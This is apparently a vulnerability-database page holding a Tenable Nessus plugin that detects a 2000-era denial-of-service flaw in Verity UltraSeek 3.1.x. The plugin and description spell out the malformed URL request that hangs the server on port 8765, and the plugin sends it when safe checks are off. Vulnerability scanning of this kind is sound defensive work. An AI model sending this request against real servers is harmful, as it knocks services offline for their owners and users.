CVSS2
Attack Vector
NETWORK
Attack Complexity
LOW
Authentication
NONE
Confidentiality Impact
NONE
Integrity Impact
NONE
Availability Impact
PARTIAL
AV:N/AC:L/Au:N/C:N/I:N/A:P
EPSS
Percentile
82.1%
It is possible to make the remote UltraSeek server hang temporarily by requesting :
/index.html?&col=&ht=0&qs=&qc=&pw=100%25&ws=0&nh=10&lk=1&rf=0&si=1&si=1&ql=…/…/…/index
An attacker may use this flaw to prevent this site from responding to valid client requests.
#%NASL_MIN_LEVEL 70300
#
# (C) Tenable Network Security, Inc.
#
include('deprecated_nasl_level.inc');
include('compat.inc');
if (description)
{
script_id(10542);
script_version("1.32");
script_set_attribute(attribute:"plugin_modification_date", value:"2021/01/19");
script_cve_id("CVE-2000-1019");
script_bugtraq_id(1866);
script_name(english:"Verity UltraSeek 3.1.x Malformed URL Remote DoS");
script_summary(english:"Hangs the remote UltraSeek server for some time");
script_set_attribute(attribute:"synopsis", value:"The remote server is vulnerable to a denial of service.");
script_set_attribute(attribute:"description", value:
"It is possible to make the remote UltraSeek server hang temporarily by
requesting :
/index.html?&col=&ht=0&qs=&qc=&pw=100%25&ws=0&nh=10&lk=1&rf=0&si=1&si=1&ql=../../../index
An attacker may use this flaw to prevent this site from responding to
valid client requests.");
script_set_attribute(attribute:"solution", value:"Upgrade to UltraSeek 4.x");
script_set_cvss_base_vector("CVSS2#AV:N/AC:L/Au:N/C:N/I:N/A:P");
script_set_cvss_temporal_vector("CVSS2#E:U/RL:OF/RC:C");
script_set_attribute(attribute:"exploitability_ease", value:"No exploit is required");
script_set_attribute(attribute:"exploit_available", value:"false");
script_set_attribute(attribute:"vuln_publication_date", value:"2000/10/30");
script_set_attribute(attribute:"patch_publication_date", value:"2000/10/23");
script_set_attribute(attribute:"plugin_publication_date", value:"2000/11/01");
script_set_attribute(attribute:"plugin_type", value:"remote");
script_end_attributes();
script_category(ACT_MIXED_ATTACK);
script_copyright(english:"This script is Copyright (C) 2000-2021 Tenable Network Security, Inc.");
script_family(english:"CGI abuses");
script_dependencie("find_service1.nasl", "http_version.nasl");
script_require_ports(8765);
exit(0);
}
include("audit.inc");
include("global_settings.inc");
include("misc_func.inc");
include("http.inc");
port = 8765;
if (! get_port_state(port)) exit(0);
if(safe_checks())
{
banner = get_http_banner(port:port);
if("UltraSeek/3.1" >< banner)
security_warning(port:8765, extra:
"*** Nessus reports this vulnerability using only
*** information that was gathered. Use caution
*** when testing without safe checks enabled.");
exit(0);
}
if (report_paranoia < 2) audit(AUDIT_PARANOID);
r = http_send_recv3(port: 8765, item: "/", method: 'HEAD');
if(r[0] =~ "^HTTP/[0-9.]+ 200 ")
{
r = http_send_recv3(port: 8765, method: 'GET',
item:"/index.html?&col=&ht=0&qs=&qc=&pw=100%25&ws=0&nh=10&lk=1&rf=0&si=1&si=1&ql=../../../index");
if (isnull(r) || !r[0]) security_warning(8765);
}